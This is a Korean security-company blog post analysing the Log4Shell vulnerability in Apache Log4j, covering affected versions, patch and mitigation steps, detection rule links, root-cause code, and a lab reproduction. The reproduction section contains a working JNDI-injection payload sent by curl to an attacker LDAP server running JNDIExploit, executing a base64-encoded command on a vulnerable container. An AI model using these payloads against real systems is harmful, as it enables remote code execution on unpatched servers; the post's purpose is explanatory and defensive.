안녕하세요. 네트워크&보안사업부 김현구 입니다.
Apache Log4Shell 취약점에 대해 분석하고 알아보고자 합니다
1. 취약점명
- Apache Log4j 취약점 (UPDATE 2022.01.21)
- CVE-2021-44228, CVE-2021-45046, CVE-2022-23302, CVE-2022-23305, CVE-2022-23307
2. 소개
- 2021년 12월 9일, 연구원들은 여러 애플리케이션 및 서비스에서 사용되는 Java 로깅 라이브러리인 Apache Log4j의 치명적인 취약점에 대한 개념 증명(PoC) 익스플로잇 코드를 게시하였습니다.
there’s a minecraft client & server exploit open right now which abuses a vulerability in log4j versions 2.0 – 2.14.1, there are proofs of concept going around already.
— ᵃᵈᵃᵐ (@twokilohertz) December 9, 2021
- iCloud, Steam, Tesla, Amazon, Apache, Twitter, Minecraft등 모두 사용되고 있는 log4j 취약점으로 원격 코드 실행이 가능한 JNDI Injection 취약점 입니다.
- 외부 디렉터리 서비스 프로토콜은 대표적으로 LDAP(Lightweight Directory Access Protocol)과 LDAPS(Secure LDAP)이 있습니다.
- 수백만 개의 애플리케이션이 로그를 위해 Log4j를 사용하고 있으며 공격자는
${jndi:ldap://attacker_domain}
해당 악성 클래스 경로를 입력 하기만 하면 공격에 성공하게 됩니다.
- 해당 취약점은 CVSS v3 점수 10.0 / 10.0으로 평가 되었습니다.
(UPDATE 2022.01.21) – 모든 시스템에 대해 Apache log4j의 최신 버전(2.17.1)으로 업그레이드할 것 을 적극 권장합니다.
- 봇 스캔 활동을 하고 있으며 패치되지 않은 시스템을 찾아 악용하여 피해 사례가 발생하고 있습니다.
- WAF 장비에 ldap jndi 키워드에 대해 필터링 진행하였으나, 이를 우회 할 수 있는 기법도 등장하고 있습니다.
JNDI(Java Naming and Directory Interface)란?
자바 애플리케이션에서 외부 디렉터리 서비스에 접근하기 위한 API 이며, 원격 서버의 객체를 bind하여 애플리케이션에서 접근할 수 있는 기술입니다
Log4j 란?
Log4j는 Java/Kotlin/Scala/Groovy 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가하여 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능 입니다.
3. 영향을 받는 버전
- Log4j 2.0-beta9 ~ 2.14.1 이하 버전 CVE-2021-44228
- CVSS Score : 10.0 / 10.0 (CRITICAL)
- Log4j 2.0-beta9 ~ 2.15.0 이하 버전 CVE-2021-44228
- CVSS Score : 9.0 / 10.0 (CRITICAL)
- Log4j 1.X 버전 CVE-2021-4104
- CVSS Score : 7.5 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23302
- JMSSink를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23305
- JDBCAppender를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23307
- Chainsaw를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- 전자정부프레임워크(eGovFramework) 버전 별 Log4j 버전
- 프레임워크 버전 // Log4j 버전
- 1.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.5 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.6 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.7 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 3.0 : Log4j 2.0
- 3.1 : Log4j 2.0
- 3.5 : Log4j 2.1
- 3.6 : Log4j 2.5
- 3.7 : Log4j 2.8.2
- 3.8 : Log4j 2.10.0
- 3.9 : Log4j 2.11.2
- 3.10 : Log4j 2.12.1
- 4.0(베타) : : Log4j 2.14.0
- 프레임워크 버전 // Log4j 버전
출처 : eGovFrame
- 단, Log4j 1.x 는 해당 취약점에 영향을 받지 않습니다.
- 1.2 버전의 경우 CVE-2019-17571 다른 취약점이 존재하고 있습니다. // CVSS Score : 9.8 / 10.0 (CRITICAL)
3-1. 영향 받는 소프트웨어
- Apache Struts, Apache Solr, Apache Druid, Apache Flink, Apache Tomcat, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2, …
4. 해결 방법
현재 패치 방법으로는 7가지 방법 있으며 버전 및 라이브러리에 따라 다른 점을 참고하여 패치 하시길 바랍니다.
또한 기존 버전과 패치된 버전의 프레임워크 호환성 문제가 발생할 수 있으므로 충분히 테스트 후 작업 해주시길 바랍니다.
1.Log4j 2.15.0 패치 방법 (Java8 버전 이상 가능)
- Log4j 2.17.1을 패치 하기 위해선 Java8 버전을 사용 하여야 합니다
- Java7 버전을 사용하시는 사용자의 경우 Log4j 2.17.1 업그레이드 이전에 Java8 버전으로 먼저 업그레이드 후 진행하여야 합니다.
2. 현재 버전이 Log4j 2.10.0 ~ 2.14.1 버전
-
-
Java7 버전을 사용하시는 사용자의 경우 Log4j 2.12.4 이상 버전으로 업데이트
-
Java6 버전을 사용하시는 사용자의 경우 Log4j 2.3.2 이상 버전으로 업데이트
-
Dlog4j.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 를 true로 설정합니다.
-
예시) java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
- JVM 매개변수를 수정 합니다.
3. 현재 버전이 Log4j 2.7.0 ~ 2.14.1 버전
log4j config파일에서 logging PatternLayout을
%m -> %m{nolookups} 수정합니다.
4. 현재 버전이 Log4j 2.0-beta9 ~ 2.10.0 버전
1
|
zip –q –d log4j–core–*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
|
cs |
- 해당 명령어는 log4j-core.jar에서 JdniLookup 및 JdniManager 클래스 제거
5. Log4j 1.x JMSSink 사용할 경우 (CVE-2022-23305)
1
|
zip –q –d log4j–*.jar org/apache/log4j/net/JMSSink.class
|
cs |
- Log4j 설정 파일에서 JMSSink 클래스 파일 삭제
5-1. Log4j 1.x JDBCAppender 사용할 경우 (CVE-2022-23307)
1
|
zip –q –d log4j–*.jar org/apache/log4j/jdbc/JDBCAppender.class
|
cs |
- Log4j 설정 파일에서 JDBCAppender 삭제, JDBCAppender 클래스 파일 삭제
5-2. Log4j 1.x Chiansaw를 사용할 경우
1
|
zip –q –d log4j–*.jar org/apache/log4j/chainsaw/*
|
cs |
- Chiansaw를 통해 직렬화 된 로그를 읽지 않도록 설정 (※ XMLSocketReceiver로 대체 가능), Chainsaw 관련 클래스 삭제
출처 : KISA
6. 그 외 방법으로는 IPS, IDS, WAF에서 차단 정책을 설정 합니다.
NIPS, NIDS RuleSet
snort | https://pastebin.com/qJh7DFd4 |
yara | https://pastebin.com/Jnx6Hxmr |
suricata | https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules |
5. 취약점 원인 분석
1
2
3
4
5
6
7
|
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings(“unchecked”)
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
|
cs |
위의 코드는 취약점을 발생시키게 한 코드이며 JndiManager.java 파일에 JNDI lookup 기능에서 발견 되었습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn(“Log4j JNDI does not allow protocol {}”, uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn(“Attempt to access ldap server not in allowed list”);
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn(“Deserialization of {} is not allowed”, className);
return null;
}
} else {
LOGGER.warn(“No class name provided for {}”, name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn(“Referenceable class is not allowed for {}”, name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
|
cs |
- JNDI LDAP를 통해 역직렬화할 수 있는 class 제한
- JNDI Lookup 에서 지원되는 LDAP 서버 속성 제한
- LDAP 연결을 localhost로 제한
5-1.취약점 상세 분석
1
|
docker run ––name vulnerable–app ––rm –p 8080:8080 ghcr.io/christophetd/log4shell–vulnerable–app
|
cs |
1
|
java –jar JNDIExploit–1.2–SNAPSHOT.jar –i LDAP서버 공인IP –p 8888
|
cs |
JNDIExploit 사용 하여 ex)JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.38.173 -p 8888
LDAP 서버를 실행하도록 함으로써 1389, 8888 포트를 Listening 상태로 만들었습니다.
curl 192.168.48.190:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.38.173:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
1
|
curl Log4Shell취약 서버 공인IP:8080 –H ‘X-Api-Version: ${jndi:ldap://LDAP서버 공인IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}’
|
cs |
1
|
docker exec vulnerable–app ls /tmp
|
cs |